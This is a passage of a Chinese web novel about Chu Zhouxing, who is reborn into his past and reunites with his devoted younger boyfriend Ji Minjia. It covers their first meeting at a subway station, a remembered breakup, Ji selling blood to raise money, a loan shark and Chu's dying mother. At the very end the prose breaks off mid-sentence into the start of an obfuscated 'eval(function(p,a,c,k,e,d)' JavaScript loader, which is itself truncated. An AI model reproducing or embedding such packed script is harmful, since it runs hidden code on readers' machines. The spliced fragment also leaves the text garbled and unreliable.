他余下的人生,没有喜怒哀乐、兴趣爱好,就只有一件事需要完成:还债。 黑暗里的云层密不透风,完完全全挡住月光,楚州行伸手捂住脸,瘦削的脊骨撑着衣服,伶仃潦倒。 疼得厉害,也不知道是痛得看不见了,还是天太黑没有光,楚州行眼前一片漆黑。 缓了好久,那种入骨缠绵的刺痛依然刮在他的骨髓里,楚州行摸着去找抽屉里的止痛药,恍惚间,他似乎听到有人说: “楚哥——我借到钱了!” 熟悉又陌生的声音,飘忽不定,似乎就在面前,在他身边。 楚州行努力睁大眼,黑暗中,他伸出手,试着去触碰、去辨别。 他好像......真的摸到了什么。 3. 再见 楚州行第一次见纪敏嘉,是在地铁站。 帝都地铁四通八达,宛若一只摊平节肢的大蜘蛛,密密麻麻的线路规划佐以不同色彩的标注,令人眼花缭乱。 楚州行经常在地铁站“捡到”迷路的外地人。 看到大包小包驮着行李袋、拖着拉杆箱,四下张望的人,楚州行会放慢脚步。 很多次,那些人看到停下脚步的他,如同看到救星,“喂——”几步并作一步,喊住他,开口就问路。 楚州行会耐心地给他们指路。 年轻人理解力强,楚州行指点一二,大多数很快就能弄清流程。 他们年轻且精力旺盛,说话声调高昂,叽叽喳喳的,问清楚路,就兴高采烈地钻进人群,不一会儿就彻底消失在人潮。 楚州行注视他们的背影,看他们推搡着往前跑。楚州行内心有种错觉——这些人就像麻雀。 灰扑扑的,很普通,吃得少、不怕辛苦。为了梦中的稻谷,它们跋山涉水来到一个完全陌生的地方,生存就只是活着。 其实,楚州行捡到过一只从巢穴摔下来的麻雀。 那是一只幼鸟。 楚州行把它养出了羽翼,却没能教会它飞翔。养了一段时间,他遇到了困难,就把那只养大的麻雀扔掉了。 那真是一只笨鸟,被丢掉了,还会站在电子大屏前呆呆看着,为他的巨幅广告而高兴。 . 地铁站中心点有个旅客休憩用的大广场,巨大的LED屏偶尔会闪过几秒钟的地铁线路图,很少会有人盯着这个大屏数分钟,只为在海量的广告中搜寻一点路线信息。 所以,当楚州行路过,一眼就瞥到了大屏下的“笨鸟”。 那人模样年轻,穿了件黑色套头卫衣,深蓝色牛仔裤,拖着个咖色行李箱,双肩还背着个起了毛球的蓝色卡通书包,似乎是个学生。 不远处就有个方向指示牌,他却一直昂着脑袋,静静仰望着。 五彩斑斓的光打在他脸上,他看得很认真。 楚州行走了又停,停下又退回来。 他摸不准对方是在看广告,还是在等线路图。 直到那人掏出手机对着led屏拍照,楚州行才确信,这人确实是在找路。 那人一连拍了好几张,低下头查看,发现居然没拍到自己想要的东西,他也不气恼,又抬头,极其专注地盯着屏幕,举着手机,等待下一次机会。 ——这也太笨了,也不知道找个人问问。 楚州行笑了一下。 那人似乎有所察觉,转头看向他。 隔着一段距离,楚州行看不太清他的样子,那人皮肤极白,几乎不显血色,头发却很茂密、像水洗过,黑得很精神。一黑一白对比衬托,楚州行竟看得一愣。 哪怕看不清脸,楚州行也断定对方是个帅哥。 两人视线触碰,出乎意料的是,那人并没有上前问路,甚至没开口。 隔着匆忙的人潮,他望着楚州行,持续盯了数秒钟,忽然一弯眼,天真而腼腆地笑起来。 他一笑,楚州行又想笑了。 也是这一瞬,LED屏跳到某个品牌的汽车广告,光线突然抖亮,一柱光照下来,楚州行看清那人的脸。 男孩轮廓柔和,肤色白皙,睫毛微微卷翘,眼瞳清澄,脸颊热得微微泛红,很像一只蜷缩起来的小动物,无害而温柔地打探着世界。 楚州行想起以前养过的一只小狗,湿漉漉的鼻子,圆圆的眼睛,毛茸茸沉甸甸的,也喜欢用这样的眼神盯着他看。 是一张非常无辜纯洁的脸,很容易令人心生好感。 见对方不好意思过来,楚州行就过去。 楚州行拨开人群,来到他面前,那人眼神一瞬亮了,有点不可置信,脸上压抑不住地开心,好像下一秒就要摇起尾巴,不等楚州行开口,他先一步伸出手,道:“你好,我叫纪敏嘉,你好。” 第一次,有问路的陌生人告诉楚州行自己的姓名。一瞬,楚州行有种错觉,好像自己是专门来接他的。 他只能伸出手,跟纪敏嘉握握手。 “我是楚州行。” 纪敏嘉的手很暖和,握起来没有黏糊糊的闷湿感,是干燥的温暖。 他的手又很瘦,用点力就捏到骨头。 简单寒暄后,楚州行问他要去哪里? 纪敏嘉愣了半秒,连忙低头翻手机,很快,他就举着一张宣传图,捧给楚州行看,“去这里。” 图片上是一家青年旅馆的宣传广告。 广告极其夸张,写着不切实际的宣传词,什么 “一天只要30块”“包吃包住包找工作”“临近商圈,地理位置优越”。 楚州行第一反应是纪敏嘉被人骗了。 他应该是学生,想趁着节假日赶一回时髦,来一次说走就走的单人旅行,可能是在网上看到黑心旅馆的宣传,脑子一热一冲动就来了帝都。 楚州行想当然,脱口而出:“商圈哪有三十块包一天的旅馆?骗人的。” “你如果旅游、住的时间又不长可以去狮子桥,那儿换乘方便,一条线就能玩好几个景点,旅店价格也便宜,很多学生住那,你可以交几个朋友,大家一起组团玩,更省钱。” 出乎意料,纪敏嘉摇了摇脑袋,“我不是学生,我是来找工作的。” 他似乎不擅与人交流,说话时语气慢吞吞,说着就慢慢低下头。 楚州行诧异,一挑眉,“你成年了吗,就出来打工?你爸妈不管你?”察觉到自己语气太冲,又补充道:“回去好好读书吧。” 纪敏嘉不说话,楚州行还以为是自己多管闲事惹人生气了,他却又抬起头,毫无保留地注视着楚州行的眼睛,他的眼睛太漂亮,完全倒映着楚州行的模样。 “我爸妈,他们都死了......我超16岁了,可以出来打工的。” 哪怕提到自己父母的死亡,纪敏嘉眼中没有一丝的悲伤。 楚州行第一次看见这样的一双眼睛,天真至极的眼神,他看向自己时眼中就真的只有自己。 他一说话,瞳仁微晃,眼底水光潋滟,让人特别想伸手捞一把。 楚州行一生见过很多人,只有他,给楚州行留下了极其深刻的初印象。也只有他,楚州行做梦都不敢再见那双眼睛。 后来,楚州行把他领回家。 两人的生活很平凡,也很艰苦。可跟楚州行在一起的日子里,无论工作多么辛苦、生活条件多恶劣,纪敏嘉始终保持着满足、幸福的表情,全身心地依赖着楚州行。 像一只拥有了纸箱就会快乐的小狗。 在楚州行心中,纪敏嘉似乎不会哭,也不会难过。 所以...... 现在,纪敏嘉为什么会哭得那么伤心? . 楚州行的视力在恢复,他逐渐看见了面前人的轮廓。伸手,一点一点、细致耐心地摩挲纪敏嘉的脸颊,好像要把他从记忆里彻底捞出来。 楚州行以为自己忘记了纪敏嘉。 这么多年,楚州行努力不去想,他真的忘了很多东西: 喜欢的颜色、喜好、最开心的时刻、梦想...... 可,当楚州行见到纪敏嘉的这一刻,他就知道一切故意的遗忘都是枉然。 曾经模糊的记忆,在一瞬间变得清晰。 年轻的纪敏嘉...... 此刻,楚州行无法精准形容自己的心情,他在一瞬间失去了知觉。 纪敏嘉的皮肤摸起来应该是细腻温暖、带着水分的柔软,但楚州行的指尖只有触电般的麻木。 楚州行的心跳变得很慢,他甚至能感受到心脏的跳动。 一下、一下,楚州行确定,自己真的还活着。 纪敏嘉哭得眼圈通红,眼泪像断了线的珠子,一颗颗往下滚。他手里还紧紧攥着一把钱,见楚州行低头看他,他抓住最后一根救命稻草般把有零有整的钞票捧着往楚州行怀里塞。 他仰着脸,努力挤出笑容,一笑,眼泪又滚滚落下,“楚哥——”声音也是湿漉漉的,像一场永不停歇的大雨,完完整整下在楚州行心上。 楚州行触碰到纪敏嘉的眼泪。 纪敏嘉的眼泪就是记忆的开关,他的脑海里翻涌出种种画面,走马灯般疯狂闪动。 楚州行像被一把刀从身体中间劈成两半。 一半极致冷静,他仍保持理智,略低头,细致欣赏着纪敏嘉的表情; 一半在回忆中挣扎,无数画面冲击着他的意识,他的双手不受控制地颤抖。 楚州行的手指很冷,全身湿透的纪敏嘉应该是怕冷的,他却努力贴近楚州行。他的胸膛温热,贴得太近了,楚州行能感觉到他呼出的鼻息。 真实的温暖。 楚州行碰着纪敏嘉的脸颊,忍不住贴着他的额头,心底有声音在问:“你究竟想要什么?” 他的声音压得极低,隐含太多无法言说的情愫。 忽然,窗外炸开一道雷。 轰隆。 纪敏嘉被吓到,身子一颤,紧紧抱住楚州行的手臂。 一刹雷光瞬间照亮楚州行的眼睛。 也就是这一瞬,楚州行积蓄在眼眶的泪水迅速下坠,无声无息落向地面,没留下任何痕迹。 等纪敏嘉抬起头,望向楚州行时,那双漂亮的眼睛就只剩下淡淡的悲哀。 纪敏嘉愣愣,“我......”,他摇了摇头,什么都没说。 他只是很用力地抱住楚州行的手臂,紧紧的,好像把自己嵌入楚州行的血肉。 感受着真实的温暖,楚州行一颗心泡在水里,他茫然环视周围熟悉的一切,问自己: ——我是重生了吗?
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“我妈快死了,她要钱治病,你给不了我治病的钱,就放过我,也放过自己!” 楚州行眼前甚至出现虚影,另一对楚州行纪敏嘉保持着僵硬的动作,近在咫尺,直直停在他面前,紧贴着他的眼睛。 楚州行不得不看向他们。 他们宛如卡壳的机器,一触及楚州行的视线就启动,卡顿着,在演情景剧,曾经经历的一切完完整整展现在楚州行眼前,他第一次从第三方视角去欣赏他们的过去。 楚州行脊骨处窜出一股冷意,忍不住顺着纪敏嘉的手臂,一点点往下捏,纪敏嘉不得不垂下一条手臂,他没问楚州行为何要那么用力地紧握他的手臂,他只是温顺地靠在楚州行肩膀上,什么都不说。 [“纪敏嘉”在摇头。 “楚州行”彻底恼怒,他一把揪起“纪敏嘉”,逼迫他看自己的眼睛,咬紧牙,一个字一个字挤,“我好好跟你说话你听不懂!我要钱,要很多钱!我陪他睡觉,他能给我男主角,我不去卖,我妹妹就要去卖!我总不能让她去坐.台?求求你,你放过我。” “我没钱,你也没钱!咱们结束了!” “纪敏嘉”眼眶全是泪水,眼神却是那般死寂,他空洞洞地摇头,眼泪止不住,嘴里却一直在说:“我会想办法,楚哥,你别怕——” “楚州行”轻轻一推,“纪敏嘉”就重重摔在地上。 他居高临下俯视着“纪敏嘉”,“我们结束了。” 说完,“楚州行”干脆转身回房间收拾东西,却听很轻微的响动,他转过头——“纪敏嘉”很安静地跪在地上。] 窗外电闪雷鸣,瓢泼大雨疯狂击打玻璃窗,楚州行整颗心脏都在痛,他一遍遍抚摸纪敏嘉的手臂,似乎这样,就能让紧绷的神经得到舒缓。 楚州行不愿意重忆这段往事,这段记忆里的自己太无能,也太愚蠢。 现在不得不看、不得不想,楚州行咬紧牙。 故事的最后,主人公们准备谢幕—— [“楚州行”一把捞起“纪敏嘉”,弯腰死死咬住他的唇,“纪敏嘉”睁着眼睛,睫毛打着颤,他用力回抱“楚州行”,带着颤意与决绝,做着最后的挽留。 “楚州行”心平气和,却说:“我们分手了。”] 噗。 过去就像气泡,一下在楚州行视网膜上炸开,他眼前一片惨白。 楚州行虚脱般侧着脸,抵着纪敏嘉的额头,他问:“你究竟想要什么?” 上辈子,他信了那个导演的承诺,毅然离开了纪敏嘉。最后,他拿到了角色却一直没拿到结款,妈妈的病拖不了,妹妹去找了家KTV“上班”。 一切都很糟糕,妈妈没治好,什么都没有了。 那时候的楚州行很焦躁,他自顾不暇,没有再关心纪敏嘉的动态,有些话,迟到太多年了。 ——你究竟喜欢我什么?你想从我这里得到什么?为什么宁愿死都不想分开? 最终,楚州行只说:“你想要什么,告诉我,我都会给你。” 现在的他,有底气说出这句话。 纪敏嘉眼睛蓄满眼泪,紧张到颤抖,他拼命摇头,一遍遍说:“楚哥......不要走。” 楚州行忽然笑了,他靠得太近了,纪敏嘉哭的时候眼泪是一滴滴的,他捏住纪敏嘉的下巴,强迫他只看自己。略低头,咬住纪敏嘉的唇,“嗯,我不走。” 温暖的触感,纪敏嘉回应得很轻柔,完全任由楚州行施为的姿态,温顺地回吻着。 楚州行捧着他的脸,心想:这辈子,你死也要死在我怀里。 4. 承诺 楚州行第一次吻纪敏嘉,是纪敏嘉先主动的。 那时,楚州行19岁?他记不清了,反正纪敏嘉还差三个月零六天满18岁。 第一次接吻时,两人喝得有些醉,躺在一张床/上,纪敏嘉红着脸,盯着楚州行睡颜很久,才鼓足勇气靠近,小心翼翼地亲了亲楚州行的额头,小狗般磨蹭着楚州行的脸颊。 这几乎算不上一个完整的吻。 纪敏嘉的吻不带情/欲,很纯粹的爱意,如同盛满水的小碗,只能将满满的爱一点点溢出来。 他呼出的温热鼻息洒在楚州行脸上,痒痒的。唇又很干燥、柔软,触碰的那一刻,楚州行心软成一滩水。 可能是真的喝醉了,楚州行忍耐着心中的悸动,等纪敏嘉满足地用脸颊蹭自己的下巴时,他突然睁开眼,翻身,一气呵成,将纪敏嘉压在身/下。 纪敏嘉只感觉到两人之间的距离越来越近,几乎要贴在一起,他慌张地睁大眼,懵懵懂懂地望向楚州行。 明明是他先主动的,被抓包又露出这幅乖巧笨拙的求饶姿态。 望着对方惊慌的眼神,楚州行只觉心中荡漾着说不清的情绪,他按着纪敏嘉的手臂,手指稍稍用力,略低下头,笑着质问:“为什么偷亲我?” 纪敏嘉眼神湿润,睫毛紧张地颤,就巴巴地望着楚州行。 “楚哥......”,说不出辩解的话。 楚州行也不需要解释,他俯下身,很温柔地吻住了纪敏嘉的唇,将一切的话都收敛于一吻。 . 楚州行每一次吻纪敏嘉都很温柔,他怕纪敏嘉痛,纪敏嘉特别依赖他,就算痛了也不会说。 他小心翼翼...... 屋外轰着雷鸣,每一击都震得窗户哗啦啦响,屋内楚州行紧紧搂住纪敏嘉。 用力地咬着他的唇,楚州行尝到了眼泪的咸味,他注视着纪敏嘉的眼睛。 纪敏嘉的眼睛很清澈,不管看过多少次,楚州行始终会为他心动。 纪敏嘉双臂环抱着楚州行的腰,刚哭过眼睑还有点红,模样特别可怜。 这是第一次,他们吻得如此激烈。 楚州行的动作甚至有些粗/鲁,他的舌尖几乎是半强迫地抵住纪敏嘉的牙关,纪敏嘉眼角的生理泪水连成线往下淌,润湿了鬓发。 呼吸不到新鲜空气,纪敏嘉浑身颤抖,但他永远不会拒绝楚州行,快喘不过气,还紧紧攥住楚州行的衣服。 楚州行摩挲着纪敏嘉的脸,太久太久没拥有他,楚州行心中的思念爱.欲几乎要抑制不住。 五味杂陈,无数情绪在心底翻涌,不知该哭还是该笑。 面前的纪敏嘉太年轻,仿若一张白纸,楚州行的手一寸寸抚过年轻的肌肤,托着纪敏嘉的后颈,任由自己舔舐纠缠着他的舌。 纪敏嘉毫无吻技,楚州行吮着他的舌尖,他反倒又抬高些脸,几乎要把自己送过去。楚州行垂着眼看,纪敏嘉嘴唇被吸得有些红,清澈的眼睛失焦,眼神也是脱力般软软的。 楚州行心一下子软了。 楚州行放开他,纪敏嘉胸膛一起一伏,他有点愣,抬眸显得呆呆的,“楚哥?” 他不清楚楚州行如此激烈的情感从何而来,也不明白为何楚州行突然改变了主意。 但只要不分手,纪敏嘉就满足。 楚州行温柔地抚摸他的脑袋,“去洗个澡,不冷吗?” 纪敏嘉淋了雨,全身几乎都湿透了,楚州行心疼地帮他理了理潮透的头发。 纪敏嘉依偎在楚州行怀里,习惯性点头,他还没从激烈的吻中抽出神,整个人恍恍惚惚,本能渴望着楚州行带来的温暖,楚州行也没催促他,两人温情地依靠着,磨蹭了很久,才分开。 纪敏嘉走出去几步,又转头看楚州行,见他低着头看手机,才安心地回房间找干净的衣服。 手机有好几条消息需要回复。 [房东:州行啊,你说要续租的朋友怎么没加我微信?你催催他,我晚上要去打牌,没空看手机,咱们争取今天就把事定下来。] 时间过去太久,楚州行已经忘记房东姓甚名谁。还好平时跟房东没太多交流,他很容易就翻完了全部聊天记录。 原本,楚州行是打算自己搬出去。这里虽是租的房子,但两人住久了也有感情,勉强能算个家。 纪敏嘉没什么社会经验,楚州行怕他出去租房被人骗,再加上搬来搬去也麻烦,他就和房东谈好了,换人不涨租。 [楚:不好意思啊林叔,我打算继续租,以后还是10号给房租?] 房东秒回。 [房东:还是10号,你这小子不早说,我都打好合同了,浪费我一块打印费] 楚州行给他发了一块钱红包,房东秒收,回了楚州行个大大的笑脸。 楚州行笑了一下,窗外暴雨还在下着,屋里亮着灯,灯光打在楚州行脸上,透透暖暖的,又有点模糊。 以前,楚州行很不喜欢这个房东,觉得他抠门窝囊,斤斤计较。 重生归来,楚州行辨人识物的角度改变了。 其实房东人不错,他知道楚州行收留了纪敏嘉,却不闹着涨租。楚州行改装外面的雨棚扩充使用面积,他也睁一只闭一只眼就当没看到。偶尔,他会送楚州行一些自家种的蔬菜...... 点开第二条信息,楚州行脸上的笑意一冷。 [永兴借贷张哥:考虑得怎么样?我这里有十万马上就可以放给你,让你那个朋友来签个字,钱马上就打到你卡上] [都说出门在外靠兄弟,你妈都这样了,他还愿意帮你一把?] [我这里还有一堆人排队等钱,你抓紧机会吧] 楚州行上滑聊天记录,神情晦明不定。 这人他倒是记得,一个放高利贷的小混混。手底下有几号人,平时最喜欢装“好大哥”,遇到需要借钱周转的普通人就“嘘寒问暖”骗人借贷,一旦还不上,就喊打喊杀,威胁要剁手剁脚。 当初为了筹钱给母亲治病,楚州行想过去借高利贷。 永兴借贷的张铭答应借他十万,但要求他找人做担保,张铭盯上了更年轻的纪敏嘉,一直诱劝楚州行拉纪敏嘉下水。 上辈子楚州行是走投无路,但他不傻。借十万,打十五万的借条,到手现金还要再扣五千块手续费,每月要多还一万五的利息,最后利滚利,借十万就可能还百万。 纪敏嘉给他担保了,楚州行还不起钱,催债的会去逼纪敏嘉,如今催收产业还没被国家重点打击,砍人手脚都是常有的事。 楚州行怎么舍得让纪敏嘉坠入泥沼,陪他一起挣扎? 上辈子,他怎么回张铭? 楚州行仔细想了想。 上辈子:[张哥,我不需要借款了。因为,我下海了] 楚州行自己笑起来。上辈子的自己真蠢,以为这样回复可以报复张哥,楚州行猜想,上辈子的他发这样的信息,脸上的表情应该是痛苦、快意的。 这辈子,楚州行并没回复。 这样的小角色,一句话就能让他的人生天翻地覆,回复都浪费时间。 楚州行将手放在外套口袋上。刚才,纪敏嘉把所有的钱都塞在楚州行口袋里,一沓钞票不多不少,微微凸起,楚州行的心沉甸甸的,一股难以言说的情绪蔓延心脏。 陌生人借他钱是想着把他扒皮抽髓,榨干所有价值。朋友借他钱,要他再三保证、签订合约。只有纪敏嘉,生怕拿来的不够多,生怕他不够用。 楚州行怀着极其复杂的心情,点开了妈妈的微信。 妹妹用妈妈的微信发了几条消息。 [妈:哥,妈今天拉出血了!她肚子上有一个硬硬的包,我摸了下,像长在肉里面的,你啥时候回家?我害怕] [哥,老师说我学习太差了,肯定考不上高中的,她让我早点出来打工,我也不喜欢读书,读书好累。哥,你帮我找个工作吧] [最好是在大酒店里,小橘说大酒店每天都有很多好吃的自助餐,剩下的客人不要了,员工就可以吃] [幸福.jpg] 粉色的兔子幸福地转圈,无数粉色的小花洒下。 楚州行是真的想不起楚遥的样子了,他就一直看着屏幕上的表情包,努力回忆着。 记忆中的楚遥会冲着他发火,哭着大喊:“你什么都不懂!我就喜欢去卖,我就是骚,我现在一天可以赚几千,我为什么要听你安排上白班,去当个小白领?一月就几千块还不够我买包!” “你滚远点,离我远点!大明星你不怕被人扒出来亲妹妹做J?你不嫌丢人,我嫌你多管闲事!” 她身上始终有烟味,指甲永远涂成红色,一年四季都穿着露胸的吊带裙。 她那么熟悉,又那么陌生。 聊天记录里,这个吃点剩菜剩饭就能感到幸福的女孩子,真的是楚遥吗? 越回忆,楚州行越觉得自己失败。 他打了又删,反反复复,最后也只发了一条信息。 [楚:我明天回去,可能后天才到家,你们按时吃饭不用等我。我联系好医院了,这次回去就把妈接来帝都。你好好读书,别整天想着辍学去打工,回来我检查你的作业。你听话,哥回来给你带好吃的] 最后一句话,他思索很久才添上的。现在的楚遥还是个小姑娘,面对母亲病重、自己即将失学的艰难处境,是急需亲哥的鼓励与爱的。 妈妈没有回复,楚州行并不意外,算算时间,她现在应该在果园帮人打理果树。 他的母亲姚莉是一个老实本分、自尊心极强的女人。 帮人干活,旁人或许会偷个懒玩玩手机,姚莉却不。 只要拿了工资,她就一味地埋头苦干,她永远是所有帮工中最卖力、最勤勉的。生了大病,她也不会觉得自己应该被优待,她甚至会感到愧疚,继而更卖力地干活。 楚州行对姚莉最深刻的印象就是她快死了,躺在病床上,浑身浮肿,眼睛都睁不开了,还断断续续、一遍遍嘱咐楚州行一定要把医药费结清。 上辈子,这个老实女人死的时候只有七十二斤,浑身皮肤松垮垮,几乎没有弹性。楚州行去抱她,她痛得抽搐,医生催楚州行去开证明拿杜冷丁给她止痛,她不肯,她怕浪费钱,虚弱地露出笑容,“妈,不疼。” 想到这,楚州行侧过脸。他们租的屋子不大,一眼就能看到头,今天天气不好,晾衣架被纪敏嘉搬了进来,就靠近窗户的位置,上面还 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楚州行用不锈钢焊了个可移动的架子,四面简单地铺了深色的塑料挡风帘,淋浴时,要用烧水棒烧一桶水。 这样简陋的条件,他们一住就是两年。 “楚哥?” 纪敏嘉又害羞又惊喜地抬眸看他,热水浸润他绵软的发丝,顺着淌下来,他的脸颊被热气熏得发烫,水珠从他的肩脊处滚着,顺着臀部的弧线落在地上。 楚州行很自然地从他手中拿过淋浴头,半蹲着,帮他洗澡。 水流很细,一点点湿润冲洗着纪敏嘉的身躯。 肩膀、腰、双腿...... 楚州行内心没有杂念,他注视着纪敏嘉赤.裸的皮肤,手指细致地摩挲,他的指腹微微用力,很像在洗一只特别乖的小狗,抓抓他的头发,轻轻搓一搓他的皮肤。 纪敏嘉开始还有点羞涩,不肯完全袒露身体,遮遮掩掩挡住关键部位。 楚州行动作太温柔,神态又温和,很快,纪敏嘉就放松下来。 楚州行伸手,纪敏嘉自然而然将手搭了上去。 楚州行捏了捏他的手掌,一点点往上慢慢搓。纪敏嘉被他按得很舒服,打着哈欠,倦懒地半眯着眼。 楚州行一颗心逐渐安定。 至少纪敏嘉就在身边...... 只要他在身边,就没什么好担心的。 忽然,楚州行停住了动作。 纪敏嘉肘窝处有一点凸起,凑近看,是个新鲜的针眼。 电光火石间,楚州行瞬间明白了什么。他紧抓着纪敏嘉的手臂,一遍遍仔细翻查,灯光打在他脸上,冷冷的,楚州行一言不发。 纪敏嘉被他抓得心虚,一下子醒过来。 他想抽回自己的手臂。 楚州行开口问:“你去卖血了?”声音听不出情绪,看向纪敏嘉的眼神却很悲伤。 纪敏嘉被他抓得很不自在,他不敢看楚州行的眼睛,心中酸得厉害,绞尽脑汁想对策,结结巴巴地撒谎:“没有......蚊子咬的。” 楚州行捧着他的脸,哄着:“不要骗我,钱,你到底从哪里弄来的?” 纪敏嘉不愿回答,侧过脸,楚州行掰正他的脑袋让他看着自己,“回答。” 没办法,纪敏嘉只能承认。他说话断断续续,裸.露的身体微微颤抖,“我路过,看到了,就......我不是专程找过去的,献血是做好事......医生也说献血有利身体健康。” 纪敏嘉的话完全摧毁了楚州行的心理防线。 楚州行知道纪敏嘉很爱他,可他不知道纪敏嘉为他做过这些事。 冒着大雨,全身湿透的纪敏嘉路过献血车时是什么样的心情?他那么怕痛,剧组里的道具血都讨厌,他是怎么鼓励自己一个人走进去的?就为了几百块。 他把他借到的钱捧着给楚州行,上辈子,楚州行就这样一甩手,把它打掉了。 无尽的懊悔痛苦席卷楚州行的心脏,他咬紧牙。 抚摸着纪敏嘉的脸颊,楚州行的表情让纪敏嘉揪心,他抿紧唇,又痛苦至极,纪敏嘉想安慰楚州行,却被楚州行避开。 楚州行捂住他的耳朵,整个世界都安静下来。他又靠得太近了,纪敏嘉几乎能数清他的睫毛。 自然也看清了楚州行眼睫上的泪光。 纪敏嘉一眼不眨看着楚州行,楚州行伤心,他心中也有无尽的悲伤。 他是如此钟情,能感同身受楚州行的哀伤。楚州行竟有些畏惧这样纯粹的爱。 楚州行嘴唇动了动,纪敏嘉读不懂唇语,他只能更近地凑着脸,小狗一样往前蹭。他往前,楚州行就往后退一点。 两人,你进一点,我就退一点。 纪敏嘉一个劲往楚州行怀里拱。忽然,楚州行停住,纪敏嘉刹不住车,脑袋顶到楚州行的下巴,那瞬间,他被楚州行抱了个满怀。一个吻轻轻落在纪敏嘉唇上。 纪敏嘉听清了: “我保证,我们不会辛苦太久。” 这一刻,楚州行告诉自己:不管用什么手段,都要赚到足够的钱。 上辈子,他能站在娱乐圈最顶层整整十年。 这辈子,自然也一样。 5. 孤独 也许是察觉到楚州行情绪低落。 这次纪敏嘉没有贪恋楚州行的拥抱,楚州行吻他,他也乖乖地回吻楚州行的嘴唇。 他的吻柔软,舌头也很软,口腔温热而湿润。 楚州行的手掌触碰他光滑细腻的肌肤,像安抚一只藏在洞穴里的小动物。只让纪敏嘉亲了几秒钟,他就害羞了,脸颊发烫,赤.裸的肌肤更烫,他双腿蜷缩着,伸手去拉架子上的干毛巾。 楚州行拿了毛巾帮他擦头发。 纪敏嘉手足无措,不敢想一会儿楚州行会擦遍他的全身,楚州行擦到他脖颈时,他就左顾右盼。 他害臊的样子逗乐了楚州行。 楚州行知道他很紧张,也不想强迫他,将毛巾还给纪敏嘉,“我先去做饭。” 他要走,纪敏嘉又舍不得,用毛巾裹着身体,小狗狗一样,眼巴巴地望着。楚州行觉得好玩,故意停下脚步,纪敏嘉又转过身,动作飞快地擦着身体。 真纯情。 想起纪敏嘉,楚州行切配食材时都在笑。 “楚哥,你洗吗?” 纪敏嘉头上顶着毛巾,脸颊红扑扑的,从门柱后探出脑袋看楚州行。 楚州行托着碗打鸡蛋,随口应:“我晚点洗,你吃不吃炒饭?” “不吃,我吃过面包了,现在不饿。” 楚州行打蛋的动作一顿,似是随口问:“哪来的面包?你献血送的?” 纪敏嘉很高兴地“嗯”了声,“很大一个,我差点没吃完。” 他伸出手比划,手臂展开,画了特别大的圈,夸张道:“真的,特别大。” 楚州行低着头,让纪敏嘉看不清他的表情,“你不是很讨厌吃面包?那么大一个,你吃下去,不难受?” 纪敏嘉支支吾吾,很快就找了借口关了门。 楚州行从冰箱里拿出剩下的白米饭,把它们全部倒进锅里,点开火的那瞬,他呼出一口气,失去了所有表情。 纪敏嘉真的很爱他。 爱到,所有好东西,他都想留给楚州行。 楚州行确信,如果那块面包香甜可口,纪敏嘉再饿也会把它带回来。 他还会编一个像模像样的理由,骗楚州行,说他吃得很饱。 纪敏嘉撒谎的天赋并不高明,第一次骗他,楚州行就识别出话里的真假。 那一次,纪敏嘉带回来一颗红毛丹。 那是一个夏天,楚州行二十岁。 他摔伤了腿,在家修养,纪敏嘉每天来回几十公里给他做饭。那天中午,纪敏嘉头发湿透地推开门,刚迈进来,就扬起手里握着的红毛丹。 那是楚州行第一次吃红毛丹,也是纪敏嘉第一次见红毛丹。 纪敏嘉兴高采烈地告诉他,群演公会的工头买了一大堆红毛丹,他吃了很多,留了一颗给他。 楚州行从他手里接过时,纪敏嘉手心汗津津的,他笑得特别开心,催促楚州行快点吃,眼巴巴望着他。 楚州行现在仍能回忆起他的眼神,他期待地问楚州行:“是不是荔枝味的?” 楚州行尝起来很酸,但他说:“嗯,跟荔枝一个味道。” 纪敏嘉很高兴地帮他整理枕头,一遍遍描述水果有多甜,他今天过得有多开心,工作一点也不辛苦。他说着,发丝洇出细细的水珠,亮晶晶,一晃就落到肩膀上。 楚州行听着他瞎编,心如明镜。 吝啬的工头不可能买一堆水果分给群演们,他肯定没尝过红毛丹的味道,或许他只是听别人说口感像荔枝。 这唯一的果子,他带回来,给了楚州行。 看着楚州行吃下肚,纪敏嘉打心底地高兴,他真觉得今天是很幸运的日子。 哪怕楚州行问他,为什么全身湿透了?他提到那辆缺德的洒水车,也是笑眯眯的。 两人分开后,这世上有很多比红毛丹更精致昂贵的水果,楚州行再没尝过那种酸到心里发甜的味道。 楚州行问自己:纪敏嘉死之前,有没有尝过红毛丹的味道? 联想到自己银行卡一连串的有整有零的打款、房东嫌弃的话“帮他收尸,一点值钱的东西都没找到”。 楚州行觉得,应该是......没有。 咚。 楚州行动了动锅铲,将发散的思绪一起铲掉。 舔舐锅底的火苗越来越微弱,阀门“滋滋”叫着,楚州行将开关拉到最大,勉强炒出一碗饭,凑合吃完了。 楚州行整理餐桌时,纪敏嘉突然从身后冒出来,风风火火地从楚州行手里接过碗筷,“我来洗——”他端着碗筷走几步,还不忘提醒楚州行,“楚哥,你去忙你的!” 楚州行看着他的背影,纪敏嘉小心翼翼将碗筷放进水池,打开水龙头,又手忙脚乱地找围裙系。 很年轻鲜活的生命。 不知不觉,楚州行走到他身后。纪敏嘉已经穿戴好手套,全副武装准备洗碗。 水哗啦啦流着,纪敏嘉左手拿着碗,右手捏着洗碗巾,细致地擦拭。 楚州行站在他身后,看他洗碗,神情怀念,“我还记得你第一次洗碗,是用手擦的。” 楚州行将他领回家,给纪敏嘉做的第一顿饭是青菜煮面条。 饭后,纪敏嘉主动去洗碗,几个碗他洗了半小时。楚州行不放心,就看到他用手沾了洗洁精,一点点擦拭碗筷的每个角落。 明明洗碗巾就放在旁边。 那时,楚州行还感慨:哪来的大少爷,一点生活自理能力都没有。 “楚哥——”纪敏嘉耳朵微红,不好意思地抿了抿唇,“那是因为咱们不熟,我不好意思拿你挂在那的洗碗巾,我不知道它是用在哪的,万一弄脏了,我怕你生气。” “怕你赶我走。” 怕我赶走你。 楚州行的心声与纪敏嘉的回答重合。 一刹,楚州行心软得发酸。 “嗯。”楚州行伸手撩了撩纪敏嘉耳后的碎发,“我知道......” 两人越靠越近,几乎贴在一起。 楚州行将手搭在纪敏嘉肩膀上,享受着此刻的温情。 环顾四周。 窗户上挂着两人一起制作的晴雨娃娃。墙壁上贴着涂涂圈圈的广告日历,楚州行知道这个牌子,现在它的广告打得铺天盖地,完全是保健品市场“领头羊”的存在,五年后,却会被药监局打假处罚,黯然退出市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 